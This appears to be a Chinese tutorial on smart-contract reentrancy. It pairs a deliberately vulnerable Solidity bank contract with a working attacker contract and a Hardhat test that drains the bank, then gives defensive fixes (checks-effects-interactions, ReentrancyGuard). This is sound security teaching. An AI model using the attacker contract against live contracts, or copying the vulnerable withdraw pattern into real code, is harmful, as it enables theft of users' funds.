实战1:利用转账机制控制合约 —— 重入攻击的攻防演练
本实战通过一个具体的“银行”合约,演示攻击者如何利用转账机制(ETH 发送)触发回调,在合约状态更新前重复提款,从而“控制”合约的资金流向。我们将从漏洞代码、攻击过程到防御修复,完整走一遍。
一、场景设定
我们有一个简单的银行合约:
- 用户可存入 ETH,合约记录每个用户的余额。
- 用户可提款,提款时合约向用户发送对应金额的 ETH。
问题是:提款函数先发送 ETH,后更新余额 —— 这是重入漏洞的经典温床。
二、漏洞合约(VulnerableBank.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
// 存款
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 提款 —— 有漏洞!
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// ❌ 危险:先转账,后更新状态
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= _amount;
}
// 查询合约余额
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞分析:withdraw 函数在检查余额后,立即向 msg.sender 发送 ETH,此时 balances[msg.sender] 尚未被扣减。如果 msg.sender 是一个合约,它的 receive() 函数可以在收到 ETH 时再次调用 withdraw,从而在状态更新前反复提取资金。
三、攻击者合约(Attack.sol)
攻击者部署一个恶意合约,利用 receive() 回调实现重入。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableBank.sol";
contract Attack {
VulnerableBank public bank;
address public owner;
constructor(address _bankAddress) {
bank = VulnerableBank(_bankAddress);
owner = msg.sender;
}
// 攻击入口:先存入 1 ETH,然后提款触发重入
function attack() external payable {
require(msg.value == 1 ether, "Deposit 1 ETH");
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
// 收到 ETH 时自动调用 —— 重入点
receive() external payable {
// 只要银行合约还有足够的 ETH,就继续提款
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
// 提取攻击所得
function withdrawProfit() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
}
攻击流程:
- 攻击者部署
Attack合约,传入VulnerableBank的地址。 - 攻击者调用
attack并附带 1 ETH。 attack先向银行存入 1 ETH,此时攻击者的余额为 1。- 然后调用
bank.withdraw(1 ether)。 - 银行检查余额通过,向攻击者合约发送 1 ETH。
- 攻击者合约收到 ETH,触发
receive()。 receive()中再次调用bank.withdraw(1 ether)。- 由于银行的余额尚未更新(攻击者余额仍为 1),检查再次通过,又发送 1 ETH。
- 重复步骤 6~8,直到银行合约余额不足 1 ETH。
- 攻击者调用
withdrawProfit将所有 ETH 转回自己的 EOA 账户。
结果:攻击者用 1 ETH 撬走了银行合约中的所有 ETH。
四、实战操作(Hardhat + 测试脚本)
以下是一个测试脚本,用于复现攻击过程(使用 Hardhat):
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack", function () {
let bank, attack;
let owner, attacker;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
// 部署漏洞银行
const Bank = await ethers.getContractFactory("VulnerableBank");
bank = await Bank.deploy();
await bank.deployed();
// 先存入 10 ETH 作为银行储备(模拟其他用户资金)
await owner.sendTransaction({
to: bank.address,
value: ethers.utils.parseEther("10"),
});
});
it("应该通过重入攻击盗走所有资金", async function () {
// 部署攻击合约
const Attack = await ethers.getContractFactory("Attack");
attack = await Attack.connect(attacker).deploy(bank.address);
await attack.deployed();
// 攻击者调用 attack 并发送 1 ETH
await attack.connect(attacker).attack({
value: ethers.utils.parseEther("1"),
});
// 检查银行余额
const bankBalance = await bank.getContractBalance();
console.log("银行剩余 ETH:", ethers.utils.formatEther(bankBalance));
// 攻击者提取利润
await attack.connect(attacker).withdrawProfit();
const profit = await ethers.provider.getBalance(attacker.address);
// 应接近 11 ETH(10 + 1 存款 - 攻击消耗的 gas)
expect(profit).to.be.gt(ethers.utils.parseEther("10"));
});
});
五、防御修复
方案一:遵循 检查-生效-交互 模式(CEI)
将状态更新放在转账之前:
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// ✅ 先扣减余额
balances[msg.sender] -= _amount;
// ✅ 再发送 ETH
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
}
方案二:使用重入锁(推荐作为第二道防线)
引入 OpenZeppelin 的 ReentrancyGuard:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function withdraw(uint256 _amount) external nonReentrant {
require(balances[msg.sender] >= _amount, "Insufficient balance");
balances[msg.sender] -= _amount;
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
}
}
nonReentrant修饰符确保在同一笔交易中,该函数不能被再次进入(无论是通过自身还是其他函数)。
六、扩展:其他“转账控制”形式
除了重入,利用转账机制控制合约还有其他变种:
- 预先向合约转账改变判断条件:某些合约用
address(this).balance作为逻辑依据(如分红比例),攻击者可先selfdestruct强制注入 ETH,操纵计算结果。 - 代币转账钩子:ERC-777 或 ERC-223 的
tokensReceived回调也可充当重入入口,攻击者可在转账过程中再次调用协议函数。 - 向
payable函数发送 ETH 改变状态:如果fallback或receive更新了关键状态(如owner),攻击者可通过转账触发。
七、总结
- 利用转账机制控制合约的本质:通过外部调用(ETH 或代币转账)触发合约中的回调函数,在状态更新完成之前插入额外操作。
- 最经典的武器:
call+receive()/fallback()。 - 防护黄金法则:
- 始终 先更新状态,后外部调用。
- 对关键函数使用 重入锁。
- 不使用
address(this).balance作为关键业务判断依据。